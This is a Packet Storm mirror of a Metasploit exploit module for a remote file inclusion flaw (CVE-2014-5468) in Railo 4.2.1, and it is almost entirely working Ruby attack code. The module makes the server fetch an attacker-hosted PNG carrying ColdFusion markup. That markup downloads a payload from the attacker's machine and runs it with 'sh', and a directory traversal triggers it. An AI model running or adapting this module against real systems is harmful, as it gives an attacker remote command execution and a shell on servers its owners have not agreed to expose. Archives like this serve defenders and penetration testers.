Lucene search

K
packetstormDronePACKETSTORM:128234
HistorySep 12, 2014 - 12:00 a.m.

Railo 4.2.1 Remote File Inclusion

2014-09-1200:00:00
drone
packetstormsecurity.com
33

EPSS

0.22

Percentile

96.6%

`##  
# This module requires Metasploit: http//metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
  
class Metasploit4 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::Remote::HttpServer  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Railo Remote File Include',  
'Description' => '  
This module exploits a remote file include vulnerability in Railo,  
tested against version 4.2.1. First, a call using a vulnerable  
<cffile> line in thumbnail.cfm allows an atacker to download an  
arbitrary PNG file. By appending a .cfm, and taking advantage of  
a directory traversal, an attacker can append cold fusion markup  
to the PNG file, and have it interpreted by the server. This is  
used to stage and execute a fully-fledged payload.  
',  
'License' => MSF_LICENSE,  
'Author' => [  
'Bryan Alexander <[email protected]>', # Discovery/PoC  
'bperry' # metasploited  
],  
'References' => [  
['CVE', '2014-5468'],  
['URL', 'http://hatriot.github.io/blog/2014/08/27/railo-security-part-four/']  
],  
'Payload' => {  
'Space' => 99999, # if there is disk space, I think we will fit  
'BadChars' => "",  
'DisableNops' => true,  
'Compat' => {  
'PayloadType' => 'cmd',  
'RequiredCmd' => 'generic netcat perl ruby python bash telnet'  
}  
},  
'Platform' => %w( unix ),  
'Targets' =>  
[  
[  
'Automatic',  
{  
'Platform' => [ 'unix' ],  
'Arch' => ARCH_CMD  
}  
]  
],  
'DefaultTarget' => 0,  
'DisclosureDate' => 'Aug 26 2014'))  
  
register_options(  
[  
OptString.new('TARGETURI', [true, 'The base URI of the Railo server', '/railo-context/']),  
OptInt.new('STAGEWAIT', [true, 'Number of seconds to wait for stager to download', 10])  
], self.class)  
end  
  
def check  
md5 = '6de48cb72421cfabdce440077a921b25' # /res/images/id.png  
  
res = send_request_cgi(  
'uri' => normalize_uri('res', 'images', 'id.png') # the targeturi is not used in this request  
)  
  
if !res  
fail_with(Failure::Unknown, 'Server did not respond')  
elsif !res.body  
fail_with(Failure::Unknown, "Server responded without a body: #{res.code} #{res.message}")  
end  
  
new_md5 = Rex::Text.md5(res.body)  
  
return Exploit::CheckCode::Appears if new_md5 == md5  
  
Exploit::CheckCode::Safe  
end  
  
def exploit  
if datastore['SRVHOST'] == '0.0.0.0'  
fail_with(Failure::BadConfig, 'SRVHOST must be an IP address accessible from another computer')  
end  
  
url = 'http://' + datastore['SRVHOST'] + ':' + datastore['SRVPORT'].to_s  
  
@shell_name = Rex::Text.rand_text_alpha(15)  
stager_name = Rex::Text.rand_text_alpha(15) + '.cfm'  
  
start_service('Uri' => {  
'Proc' => proc do |cli, req|  
on_request_stager(cli, req)  
end,  
'Path' => '/' + stager_name  
})  
  
start_service('Uri' => {  
'Proc' => proc do |cli, req|  
on_request_shell(cli, req)  
end,  
'Path' => '/' + @shell_name  
})  
  
wh = '5000' # width and height  
  
res = send_request_cgi(  
'uri' => normalize_uri(target_uri.path, 'admin', 'thumbnail.cfm'),  
'vars_get' => {  
'img' => url + '/' + stager_name,  
'height' => wh,  
'width' => wh  
}  
)  
  
if !res  
fail_with(Failure::Unknown, 'Server did not respond')  
elsif res.code != 500  
fail_with(Failure::Unknown, "Server did not respond with the expected HTTP 500: #{res.code} #{res.message}")  
end  
  
print_status('Waiting for first stage to download...')  
  
i = datastore['STAGEWAIT']  
while !@staged && i > 0  
select(nil, nil, nil, 1)  
print_status("Waiting for #{i} more seconds...")  
i = i - 1  
end  
  
@staged = false  
  
if i == 0  
fail_with(Failure::Unknown, 'Server did not request the stager.')  
end  
  
hash = Rex::Text.md5("#{url + "/" + stager_name}-#{wh}-#{wh}") # 5000 is width and height from GET  
  
hash.upcase!  
  
print_status('Executing stager')  
  
send_request_cgi(  
'uri' => normalize_uri(target_uri.path, 'admin', 'img.cfm'),  
'vars_get' => {  
'attributes.src' => '../../../../temp/admin-ext-thumbnails/' + hash,  
'thistag.executionmode' => 'start'  
}  
)  
end  
  
def on_request_shell(cli, _request)  
print_status('Sending payload')  
send_response(cli, payload.encoded, {})  
handler(cli)  
end  
  
def on_request_stager(cli, _request)  
url = 'http://' + datastore['SRVHOST'] + ':' + datastore['SRVPORT'].to_s + '/' + @shell_name  
  
stager = "<cfhttp method='get' url='#{url}'"  
stager << " path='#GetDirectoryFromPath(GetCurrentTemplatePath())#..\\..\\..\\..\\..\\..\\'"  
stager << " file='#{@shell_name}'>"  
stager << "<cfexecute name='sh' arguments='#{@shell_name}' timeout='99999'></cfexecute>"  
  
png = 'iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcS'  
png << 'JAAAACklEQVR4nGMAAQAABQABDQottAAAAABJRU5ErkJggg=='  
  
# A very small PNG file  
png = Rex::Text.decode_base64(png)  
  
stager.each_byte do |b|  
png << b  
end  
  
png << 0x00  
  
print_status('Sending stage. This might be sent multiple times.')  
send_response(cli, png, 'Content-Type' => 'image/png')  
  
@staged = true  
  
handler(cli)  
end  
end  
`